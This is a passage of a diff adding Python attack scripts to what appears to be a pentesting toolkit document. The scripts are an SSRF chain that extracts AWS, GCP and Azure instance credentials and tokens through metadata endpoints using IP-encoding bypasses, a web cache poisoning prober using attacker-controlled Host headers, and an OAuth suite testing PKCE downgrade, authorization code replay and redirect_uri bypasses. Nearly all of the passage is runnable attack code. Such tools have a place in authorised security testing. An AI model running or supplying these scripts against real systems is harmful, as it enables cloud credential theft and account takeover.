# IMDSv2 token (optional — try IMDSv1 first)
|
|
1527
|
+
meta = ssrf_fetch(f"{base}/latest/meta-data/")
|
|
1528
|
+
if "ERROR" in meta or len(meta) < 10:
|
|
1529
|
+
# Try IPv6, decimal, hex forms
|
|
1530
|
+
for bypass in ["http://[::ffff:169.254.169.254]", "http://0xa9fea9fe",
|
|
1531
|
+
"http://2852039166", "http://169.254.169.254/"]:
|
|
1532
|
+
meta = ssrf_fetch(f"{bypass}/latest/meta-data/")
|
|
1533
|
+
if len(meta) > 10:
|
|
1534
|
+
base = bypass
|
|
1535
|
+
break
|
|
1536
|
+
if len(meta) < 10:
|
|
1537
|
+
print(" [-] AWS metadata not reachable")
|
|
1538
|
+
return None
|
|
1539
|
+
|
|
1540
|
+
print(f" [+] Metadata accessible! Contents: {meta[:100]}")
|
|
1541
|
+
|
|
1542
|
+
# Get IAM role
|
|
1543
|
+
role = ssrf_fetch(f"{base}/latest/meta-data/iam/security-credentials/").strip()
|
|
1544
|
+
if not role:
|
|
1545
|
+
print(" [-] No IAM role attached to this instance")
|
|
1546
|
+
return {"platform": "aws", "instance_metadata": meta[:500]}
|
|
1547
|
+
|
|
1548
|
+
print(f" [+] IAM Role: {role}")
|
|
1549
|
+
creds_raw = ssrf_fetch(f"{base}/latest/meta-data/iam/security-credentials/{role}")
|
|
1550
|
+
try:
|
|
1551
|
+
creds = json.loads(creds_raw)
|
|
1552
|
+
print(f" [!!!] CREDENTIALS EXTRACTED:")
|
|
1553
|
+
print(f" AccessKeyId: {creds.get('AccessKeyId', 'N/A')}")
|
|
1554
|
+
print(f" SecretAccessKey: {creds.get('SecretAccessKey', 'N/A')[:8]}...")
|
|
1555
|
+
print(f" Token: {creds.get('Token', 'N/A')[:20]}...")
|
|
1556
|
+
print(f" Expiration: {creds.get('Expiration', 'N/A')}")
|
|
1557
|
+
return {"platform": "aws", "role": role, "credentials": creds}
|
|
1558
|
+
except Exception:
|
|
1559
|
+
return {"platform": "aws", "role": role, "raw": creds_raw[:500]}
|
|
1560
|
+
|
|
1561
|
+
# ── GCP Metadata ─────────────────────────────────────────────────────────────
|
|
1562
|
+
def chain_gcp() -> dict | None:
|
|
1563
|
+
print("\n[GCP] Testing metadata.google.internal...")
|
|
1564
|
+
headers_ext = {**HEADERS, "Metadata-Flavor": "Google"}
|
|
1565
|
+
|
|
1566
|
+
# GCP requires Metadata-Flavor header — inject it via request headers
|
|
1567
|
+
# (This works if the SSRF endpoint forwards custom headers)
|
|
1568
|
+
base = "http://metadata.google.internal/computeMetadata/v1"
|
|
1569
|
+
token_raw = ssrf_fetch(f"{base}/instance/service-accounts/default/token")
|
|
1570
|
+
if "access_token" in token_raw:
|
|
1571
|
+
token = json.loads(token_raw)
|
|
1572
|
+
print(f" [!!!] GCP Access Token: {token.get('access_token', '')[:30]}...")
|
|
1573
|
+
email = ssrf_fetch(f"{base}/instance/service-accounts/default/email").strip()
|
|
1574
|
+
scopes = ssrf_fetch(f"{base}/instance/service-accounts/default/scopes")
|
|
1575
|
+
return {"platform": "gcp", "email": email,
|
|
1576
|
+
"access_token": token.get("access_token"), "scopes": scopes[:200]}
|
|
1577
|
+
elif "ERROR" not in token_raw and len(token_raw) > 5:
|
|
1578
|
+
return {"platform": "gcp", "raw": token_raw[:300]}
|
|
1579
|
+
return None
|
|
1580
|
+
|
|
1581
|
+
# ── Azure Metadata ────────────────────────────────────────────────────────────
|
|
1582
|
+
def chain_azure() -> dict | None:
|
|
1583
|
+
print("\n[Azure] Testing 169.254.169.254 IMDS...")
|
|
1584
|
+
# Azure IMDS requires: api-version param and Metadata:true header
|
|
1585
|
+
url = "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
|
1586
|
+
raw = ssrf_fetch(url)
|
|
1587
|
+
if '"compute"' in raw and '"subscriptionId"' in raw:
|
|
1588
|
+
try:
|
|
1589
|
+
data = json.loads(raw)
|
|
1590
|
+
sub_id = data.get("compute", {}).get("subscriptionId", "N/A")
|
|
1591
|
+
print(f" [+] Azure subscription: {sub_id}")
|
|
1592
|
+
# Get managed identity token
|
|
1593
|
+
token_url = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
|
1594
|
+
token_raw = ssrf_fetch(token_url)
|
|
1595
|
+
if "access_token" in token_raw:
|
|
1596
|
+
token = json.loads(token_raw)
|
|
1597
|
+
print(f" [!!!] Azure Managed Identity Token: {token.get('access_token','')[:30]}...")
|
|
1598
|
+
return {"platform": "azure", "subscription": sub_id, "token": token}
|
|
1599
|
+
return {"platform": "azure", "instance": data}
|
|
1600
|
+
except Exception:
|
|
1601
|
+
return {"platform": "azure", "raw": raw[:400]}
|
|
1602
|
+
return None
|
|
1603
|
+
|
|
1604
|
+
def main():
|
|
1605
|
+
print(f"[*] SSRF Cloud Credential Chain")
|
|
1606
|
+
print(f"[*] SSRF endpoint: {SSRF_URL}")
|
|
1607
|
+
print("[*] Testing all cloud platforms...\n")
|
|
1608
|
+
|
|
1609
|
+
results = {}
|
|
1610
|
+
for fn, label in [(chain_aws, "AWS"), (chain_gcp, "GCP"), (chain_azure, "Azure")]:
|
|
1611
|
+
r = fn()
|
|
1612
|
+
if r:
|
|
1613
|
+
results[label] = r
|
|
1614
|
+
print(f"\n [!!!] {label} credentials extracted!")
|
|
1615
|
+
|
|
1616
|
+
if results:
|
|
1617
|
+
import json as _json
|
|
1618
|
+
Path_out = __import__("pathlib").Path(OUTPUT_FILE)
|
|
1619
|
+
Path_out.write_text(_json.dumps(results, indent=2))
|
|
1620
|
+
print(f"\n[*] Credentials saved to {OUTPUT_FILE}")
|
|
1621
|
+
print("[!!!] CRITICAL: Report immediately. Rotate credentials.")
|
|
1622
|
+
else:
|
|
1623
|
+
print("\n[-] No cloud credentials found via SSRF.")
|
|
1624
|
+
print(" Try: Kubernetes API (10.96.0.1:443), Redis (6379), internal HTTP services")
|
|
1625
|
+
|
|
1626
|
+
main()
|
|
1627
|
+
```
|
|
1628
|
+
|
|
1629
|
+
---
|
|
1630
|
+
|
|
1631
|
+
## Cache Poisoning Scripts
|
|
1632
|
+
|
|
1633
|
+
**22. Web Cache Poisoning Prober:**
|
|
1634
|
+
```python
|
|
1635
|
+
# tools/cache_poison_prober.py
|
|
1636
|
+
# Systematically tests for Web Cache Poisoning via unkeyed inputs.
|
|
1637
|
+
# Tests: X-Forwarded-Host, X-Forwarded-Scheme, fat GET, Host header, unkeyed params.
|
|
1638
|
+
#
|
|
1639
|
+
# HOW IT WORKS:
|
|
1640
|
+
# 1. Establish baseline response (no injection)
|
|
1641
|
+
# 2. Inject canary value into each unkeyed header/param with cache-buster
|
|
1642
|
+
# 3. Make second request WITHOUT injection — if canary appears, the cache was poisoned
|
|
1643
|
+
# 4. For Host header injection: check if injected host appears in response (import URL, CSP, etc.)
|
|
1644
|
+
#
|
|
1645
|
+
# CRITICAL: ALWAYS use a unique cache-buster per test to avoid poisoning other users.
|
|
1646
|
+
|
|
1647
|
+
import requests, hashlib, time, json, re
|
|
1648
|
+
from pathlib import Path
|
|
1649
|
+
|
|
1650
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
1651
|
+
TARGET_URL = "https://target.com/"
|
|
1652
|
+
SESSION_COOKIE = "session=YOUR_COOKIE"
|
|
1653
|
+
CANARY = "poisontest12345" # Unique string — check if it appears in cached response
|
|
1654
|
+
OOB_HOST = "attacker.com" # Controlled domain for Host header injection
|
|
1655
|
+
OUTPUT_FILE = "output/cache_poison_results.txt"
|
|
1656
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
1657
|
+
|
|
1658
|
+
BASE_HEADERS = {"Cookie": SESSION_COOKIE}
|
|
1659
|
+
|
|
1660
|
+
def cache_buster() -> str:
|
|
1661
|
+
"""Unique cache key param to isolate each test from real cache."""
|
|
1662
|
+
return f"cachebust={hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"
|
|
1663
|
+
|
|
1664
|
+
def add_buster(url: str) -> str:
|
|
1665
|
+
sep = "&" if "?" in url else "?"
|
|
1666
|
+
return f"{url}{sep}{cache_buster()}"
|
|
1667
|
+
|
|
1668
|
+
def get(url: str, extra_headers: dict = {}) -> requests.Response:
|
|
1669
|
+
return requests.get(url, headers={**BASE_HEADERS, **extra_headers},
|
|
1670
|
+
timeout=8, verify=False, allow_redirects=False)
|
|
1671
|
+
|
|
1672
|
+
def check_poison(test_name: str, inject_headers: dict, check_fn) -> dict | None:
|
|
1673
|
+
"""
|
|
1674
|
+
inject_headers: headers to add on poisoning request
|
|
1675
|
+
check_fn: callable(response_text) → bool — returns True if poisoned
|
|
1676
|
+
Returns finding dict if poisoned, None otherwise.
|
|
1677
|
+
"""
|
|
1678
|
+
buster_url = add_buster(TARGET_URL)
|
|
1679
|
+
|
|
1680
|
+
# Step 1: Poison the cache
|
|
1681
|
+
r_poison = get(buster_url, inject_headers)
|
|
1682
|
+
if check_fn(r_poison.text):
|
|
1683
|
+
# Canary reflected in first response — might be injection, not poison
|
|
1684
|
+
pass
|
|
1685
|
+
|
|
1686
|
+
# Step 2: Fetch same URL WITHOUT injection — check if cached response contains canary
|
|
1687
|
+
time.sleep(0.5)
|
|
1688
|
+
r_clean = get(buster_url) # Same cache key — should return cached poisoned response
|
|
1689
|
+
if check_fn(r_clean.text):
|
|
1690
|
+
return {
|
|
1691
|
+
"test": test_name,
|
|
1692
|
+
"url": buster_url,
|
|
1693
|
+
"inject_headers": inject_headers,
|
|
1694
|
+
"poison_status": r_poison.status_code,
|
|
1695
|
+
"clean_status": r_clean.status_code,
|
|
1696
|
+
"evidence": re.findall(rf".{{0,40}}{re.escape(CANARY)}.{{0,40}}", r_clean.text)[:3],
|
|
1697
|
+
}
|
|
1698
|
+
return None
|
|
1699
|
+
|
|
1700
|
+
def main():
|
|
1701
|
+
print(f"[*] Web Cache Poisoning Prober → {TARGET_URL}")
|
|
1702
|
+
print(f"[*] Canary: {CANARY!r}")
|
|
1703
|
+
findings = []
|
|
1704
|
+
|
|
1705
|
+
# ── Test 1: X-Forwarded-Host ──────────────────────────────────────────────
|
|
1706
|
+
print("\n[1] X-Forwarded-Host injection...")
|
|
1707
|
+
r = check_poison("X-Forwarded-Host",
|
|
1708
|
+
{"X-Forwarded-Host": f"{CANARY}.{OOB_HOST}"},
|
|
1709
|
+
lambda body: CANARY in body)
|
|
1710
|
+
if r: findings.append(r); print(f" [!!!] POISONED: {r['evidence']}")
|
|
1711
|
+
else: print(" [-] Not vulnerable")
|
|
1712
|
+
|
|
1713
|
+
# ── Test 2: X-Forwarded-Scheme ────────────────────────────────────────────
|
|
1714
|
+
print("\n[2] X-Forwarded-Scheme: http (downgrade)...")
|
|
1715
|
+
r = check_poison("X-Forwarded-Scheme-downgrade",
|
|
1716
|
+
{"X-Forwarded-Scheme": "http"},
|
|
1717
|
+
lambda body: "http://" in body and "https://" not in body[:200])
|
|
1718
|
+
if r: findings.append(r); print(f" [!!!] Scheme downgrade reflected in cache")
|
|
1719
|
+
else: print(" [-] Not vulnerable")
|
|
1720
|
+
|
|
1721
|
+
# ── Test 3: Unkeyed query parameter ──────────────────────────────────────
|
|
1722
|
+
print("\n[3] Unkeyed query parameter (utm_content, callback, lang)...")
|
|
1723
|
+
for param in ["utm_content", "callback", "lang", "ref", "source"]:
|
|
1724
|
+
url_with_param = f"{TARGET_URL}?{param}={CANARY}&{cache_buster()}"
|
|
1725
|
+
r1 = get(url_with_param)
|
|
1726
|
+
time.sleep(0.3)
|
|
1727
|
+
# Now fetch without the unkeyed param — same cache key if param is unkeyed
|
|
1728
|
+
url_clean = f"{TARGET_URL}?{cache_buster()}"
|
|
1729
|
+
r2 = get(url_clean)
|
|
1730
|
+
if CANARY in r2.text:
|
|
1731
|
+
findings.append({"test": f"unkeyed_param:{param}", "url": url_with_param,
|
|
1732
|
+
"evidence": re.findall(rf".{{0,40}}{re.escape(CANARY)}.{{0,40}}", r2.text)[:2]})
|
|
1733
|
+
print(f" [!!!] Unkeyed param: {param!r} — canary in clean response!")
|
|
1734
|
+
|
|
1735
|
+
# ── Test 4: Host header injection ────────────────────────────────────────
|
|
1736
|
+
print("\n[4] Host header injection (import/link URL reflection)...")
|
|
1737
|
+
r = check_poison("Host-header",
|
|
1738
|
+
{"Host": f"{CANARY}.{OOB_HOST}"},
|
|
1739
|
+
lambda body: CANARY in body)
|
|
1740
|
+
if r: findings.append(r); print(f" [!!!] Host header reflected: {r['evidence']}")
|
|
1741
|
+
else: print(" [-] Not vulnerable")
|
|
1742
|
+
|
|
1743
|
+
# ── Test 5: Fat GET (body smuggled into GET) ──────────────────────────────
|
|
1744
|
+
print("\n[5] Fat GET — body parameter in GET request...")
|
|
1745
|
+
buster_url = add_buster(TARGET_URL)
|
|
1746
|
+
r_fat = requests.get(buster_url, headers={**BASE_HEADERS,
|
|
1747
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
1748
|
+
"Content-Length": str(len(f"param={CANARY}"))},
|
|
1749
|
+
data=f"param={CANARY}", timeout=8, verify=False)
|
|
1750
|
+
time.sleep(0.3)
|
|
1751
|
+
r_clean = get(buster_url)
|
|
1752
|
+
if CANARY in r_clean.text:
|
|
1753
|
+
findings.append({"test": "fat_GET", "url": buster_url})
|
|
1754
|
+
print(f" [!!!] Fat GET poisoned — body param appeared in cached GET response!")
|
|
1755
|
+
else:
|
|
1756
|
+
print(" [-] Not vulnerable")
|
|
1757
|
+
|
|
1758
|
+
# ── Test 6: X-Original-URL / X-Rewrite-URL ───────────────────────────────
|
|
1759
|
+
print("\n[6] X-Original-URL / X-Rewrite-URL path override...")
|
|
1760
|
+
for hdr in ["X-Original-URL", "X-Rewrite-URL"]:
|
|
1761
|
+
r = check_poison(hdr, {hdr: f"/nonexistent-{CANARY}"},
|
|
1762
|
+
lambda body: CANARY in body or "404" in body)
|
|
1763
|
+
if r: findings.append(r); print(f" [!!!] {hdr} reflected in cached response!")
|
|
1764
|
+
|
|
1765
|
+
# ── Summary ───────────────────────────────────────────────────────────────
|
|
1766
|
+
print(f"\n{'='*60}")
|
|
1767
|
+
print(f"[*] {len(findings)} cache poisoning vectors found")
|
|
1768
|
+
for f in findings:
|
|
1769
|
+
print(f" [!!!] {f['test']}: {f.get('evidence', 'poisoned')}")
|
|
1770
|
+
Path(OUTPUT_FILE).write_text(json.dumps(findings, indent=2))
|
|
1771
|
+
print(f"[*] Results → {OUTPUT_FILE}")
|
|
1772
|
+
|
|
1773
|
+
main()
|
|
1774
|
+
```
|
|
1775
|
+
|
|
1776
|
+
---
|
|
1777
|
+
|
|
1778
|
+
## OAuth Advanced Scripts
|
|
1779
|
+
|
|
1780
|
+
**23. OAuth Advanced — PKCE Bypass, Token Reuse, State Fixation:**
|
|
1781
|
+
```python
|
|
1782
|
+
# tools/oauth_advanced.py
|
|
1783
|
+
# Advanced OAuth 2.0 attack suite covering attacks missed by basic oauth_tester.py:
|
|
1784
|
+
# A) PKCE downgrade — remove code_challenge to force plain/no PKCE
|
|
1785
|
+
# B) Authorization code reuse — replay used code across different clients
|
|
1786
|
+
# C) State fixation — force victim to use attacker-controlled state
|
|
1787
|
+
# D) Token leakage via Referer — fragment not stripped on redirect
|
|
1788
|
+
# E) Cross-client token reuse — use token from app A to access app B
|
|
1789
|
+
# F) nonce/sub binding bypass — JWT ID token claims not verified
|
|
1790
|
+
#
|
|
1791
|
+
# Requires: pip install requests --break-system-packages
|
|
1792
|
+
|
|
1793
|
+
import requests, urllib.parse, hashlib, base64, os, json, re
|
|
1794
|
+
|
|
1795
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
1796
|
+
# Obtain these from browser JS or .well-known/openid-configuration
|
|
1797
|
+
AUTHORIZE_URL = "https://auth.target.com/oauth2/authorize"
|
|
1798
|
+
TOKEN_URL = "https://auth.target.com/oauth2/token"
|
|
1799
|
+
CLIENT_ID = "YOUR_CLIENT_ID"
|
|
1800
|
+
CLIENT_SECRET = "" # If public client, leave empty
|
|
1801
|
+
REDIRECT_URI = "https://target.com/callback"
|
|
1802
|
+
SCOPE = "openid profile email"
|
|
1803
|
+
YOUR_SESSION = "session=YOUR_COOKIE" # Pre-authenticated session
|
|
1804
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
1805
|
+
|
|
1806
|
+
HEADERS = {"Cookie": YOUR_SESSION, "Content-Type": "application/x-www-form-urlencoded"}
|
|
1807
|
+
|
|
1808
|
+
def gen_pkce() -> tuple[str, str, str]:
|
|
1809
|
+
"""Generate PKCE code_verifier and code_challenge (S256)."""
|
|
1810
|
+
verifier = base64.urlsafe_b64encode(os.urandom(32)).rstrip(b"=").decode()
|
|
1811
|
+
digest = hashlib.sha256(verifier.encode()).digest()
|
|
1812
|
+
challenge = base64.urlsafe_b64encode(digest).rstrip(b"=").decode()
|
|
1813
|
+
return verifier, challenge, "S256"
|
|
1814
|
+
|
|
1815
|
+
def build_auth_url(state: str, pkce_challenge: str = "", pkce_method: str = "",
|
|
1816
|
+
extra: dict = {}) -> str:
|
|
1817
|
+
params = {
|
|
1818
|
+
"client_id": CLIENT_ID,
|
|
1819
|
+
"redirect_uri": REDIRECT_URI,
|
|
1820
|
+
"response_type": "code",
|
|
1821
|
+
"scope": SCOPE,
|
|
1822
|
+
"state": state,
|
|
1823
|
+
}
|
|
1824
|
+
if pkce_challenge:
|
|
1825
|
+
params["code_challenge"] = pkce_challenge
|
|
1826
|
+
params["code_challenge_method"] = pkce_method
|
|
1827
|
+
params.update(extra)
|
|
1828
|
+
return f"{AUTHORIZE_URL}?{urllib.parse.urlencode(params)}"
|
|
1829
|
+
|
|
1830
|
+
def exchange_code(code: str, verifier: str = "", extra: dict = {}) -> dict:
|
|
1831
|
+
data = {
|
|
1832
|
+
"grant_type": "authorization_code",
|
|
1833
|
+
"code": code,
|
|
1834
|
+
"redirect_uri": REDIRECT_URI,
|
|
1835
|
+
"client_id": CLIENT_ID,
|
|
1836
|
+
}
|
|
1837
|
+
if CLIENT_SECRET:
|
|
1838
|
+
data["client_secret"] = CLIENT_SECRET
|
|
1839
|
+
if verifier:
|
|
1840
|
+
data["code_verifier"] = verifier
|
|
1841
|
+
data.update(extra)
|
|
1842
|
+
r = requests.post(TOKEN_URL, data=data, headers=HEADERS,
|
|
1843
|
+
timeout=8, verify=False, allow_redirects=False)
|
|
1844
|
+
return {"status": r.status_code, "body": r.text[:500]}
|
|
1845
|
+
|
|
1846
|
+
def main():
|
|
1847
|
+
print("=" * 60)
|
|
1848
|
+
print("OAuth 2.0 Advanced Attack Suite")
|
|
1849
|
+
print("=" * 60)
|
|
1850
|
+
results = {}
|
|
1851
|
+
|
|
1852
|
+
# ── A) PKCE Downgrade ────────────────────────────────────────────────────
|
|
1853
|
+
print("\n[A] PKCE Downgrade Attack")
|
|
1854
|
+
print(" Build URL WITH PKCE, then exchange code WITHOUT code_verifier")
|
|
1855
|
+
verifier, challenge, method = gen_pkce()
|
|
1856
|
+
auth_url = build_auth_url(state="test_pkce_bypass",
|
|
1857
|
+
pkce_challenge=challenge, pkce_method=method)
|
|
1858
|
+
print(f" Auth URL (copy to browser): {auth_url}")
|
|
1859
|
+
code = input(" Paste authorization code from callback URL: ").strip()
|
|
1860
|
+
if code:
|
|
1861
|
+
# Exchange WITHOUT verifier (server should reject → 400)
|
|
1862
|
+
r_no_verifier = exchange_code(code)
|
|
1863
|
+
print(f" Without verifier: {r_no_verifier['status']} — {r_no_verifier['body'][:100]}")
|
|
1864
|
+
if r_no_verifier["status"] == 200 and "access_token" in r_no_verifier["body"]:
|
|
1865
|
+
print(" [!!!] PKCE BYPASS: Code accepted without code_verifier!")
|
|
1866
|
+
results["pkce_bypass"] = r_no_verifier
|
|
1867
|
+
# Also try exchange WITH wrong verifier
|
|
1868
|
+
r_wrong = exchange_code(code, verifier=verifier + "WRONG")
|
|
1869
|
+
if r_wrong["status"] == 200 and "access_token" in r_wrong["body"]:
|
|
1870
|
+
print(" [!!!] PKCE NOT VALIDATED: Wrong verifier accepted!")
|
|
1871
|
+
results["pkce_wrong_verifier"] = r_wrong
|
|
1872
|
+
|
|
1873
|
+
# ── B) Authorization Code Reuse ──────────────────────────────────────────
|
|
1874
|
+
print("\n[B] Authorization Code Reuse (after valid exchange)")
|
|
1875
|
+
auth_url2 = build_auth_url(state="test_code_reuse",
|
|
1876
|
+
pkce_challenge=challenge, pkce_method=method)
|
|
1877
|
+
print(f" Auth URL: {auth_url2}")
|
|
1878
|
+
code2 = input(" Paste authorization code: ").strip()
|
|
1879
|
+
if code2:
|
|
1880
|
+
r1 = exchange_code(code2, verifier=verifier)
|
|
1881
|
+
print(f" First exchange: {r1['status']}")
|
|
1882
|
+
r2 = exchange_code(code2, verifier=verifier) # Replay same code
|
|
1883
|
+
print(f" Code replay: {r2['status']} — {'[!!!] REUSE ALLOWED' if r2['status']==200 else 'Correctly rejected'}")
|
|
1884
|
+
if r2["status"] == 200:
|
|
1885
|
+
results["code_reuse"] = r2
|
|
1886
|
+
|
|
1887
|
+
# ── C) State Parameter Fixed / Missing ───────────────────────────────────
|
|
1888
|
+
print("\n[C] State parameter validation")
|
|
1889
|
+
# Test 1: No state at all
|
|
1890
|
+
url_no_state = build_auth_url(state="")
|
|
1891
|
+
r = requests.get(url_no_state, headers={"Cookie": YOUR_SESSION},
|
|
1892
|
+
allow_redirects=False, verify=False, timeout=5)
|
|
1893
|
+
if r.status_code in (200, 302):
|
|
1894
|
+
print(f" [?] No state accepted (status={r.status_code}) — check if state is validated on callback")
|
|
1895
|
+
|
|
1896
|
+
# Test 2: Numeric/predictable state
|
|
1897
|
+
for pred_state in ["0", "1", "123", "null", "undefined", "true"]:
|
|
1898
|
+
url_pred = build_auth_url(state=pred_state)
|
|
1899
|
+
r_pred = requests.get(url_pred, headers={"Cookie": YOUR_SESSION},
|
|
1900
|
+
allow_redirects=False, verify=False, timeout=5)
|
|
1901
|
+
if r_pred.status_code != 400:
|
|
1902
|
+
print(f" [?] Predictable state {pred_state!r} accepted — CSRF risk if callback doesn't validate")
|
|
1903
|
+
|
|
1904
|
+
# ── D) redirect_uri Open Redirect / Partial Match ────────────────────────
|
|
1905
|
+
print("\n[D] redirect_uri bypass attempts")
|
|
1906
|
+
original_uri = REDIRECT_URI
|
|
1907
|
+
bypasses = {
|
|
1908
|
+
"append_path": original_uri + "/extra",
|
|
1909
|
+
"add_param": original_uri + "?x=1",
|
|
1910
|
+
"subdomain": original_uri.replace("://", "://evil."),
|
|
1911
|
+
"at_bypass": f"https://attacker.com@{urllib.parse.urlparse(original_uri).netloc}/",
|
|
1912
|
+
"dot_bypass": original_uri.rstrip("/") + ".",
|
|
1913
|
+
"encoded_slash": original_uri.replace("/callback", "/%2Fcallback"),
|
|
1914
|
+
"null_byte": original_uri + "%00",
|
|
1915
|
+
}
|
|
1916
|
+
for name, bypass_uri in bypasses.items():
|
|
1917
|
+
url_bypass = build_auth_url(state="bypass_test",
|
|
1918
|
+
extra={"redirect_uri": bypass_uri})
|
|
1919
|
+
r_b = requests.get(url_bypass, headers={"Cookie": YOUR_SESSION},
|
|
1920
|
+
allow_redirects=False, verify=False, timeout=5)
|
|
1921
|
+
loc = r_b.headers.get("Location", "")
|
|
1922
|
+
if bypass_uri in loc or (r_b.status_code == 200 and "code=" in r_b.text):
|
|
1923
|
+
print(f" [!!!] REDIRECT URI BYPASS [{name}]: {bypass_uri}")
|
|
1924
|
+
results[f"redirect_bypass_{name}"] = {"uri": bypass_uri, "status": r_b.status_code}
|
|
1925
|
+
else:
|
|
1926
|
+
print(f" [-] {name}: rejected ({r_b.status_code})")
|
|
1927
|
+
|
|
1928
|
+
# ── Summary ───────────────────────────────────────────────────────────────
|
|
1929
|
+
print(f"\n{'='*60}")
|
|
1930
|
+
if results:
|
|
1931
|
+
print(f"[!!!] {len(results)} vulnerabilities found:")
|
|
1932
|
+
for k, v in results.items():
|
|
1933
|
+
print(f" - {k}: {str(v)[:100]}")
|
|
1934
|
+
else:
|
|
1935
|
+
print("[-] No OAuth vulnerabilities confirmed automatically.")
|
|
1936
|
+
print(" Manual review: check state fixation on callback, nonce binding in JWT id_token")
|
|
1937
|
+
|
|
1938
|
+
main()
|
|
1939
|
+
```
|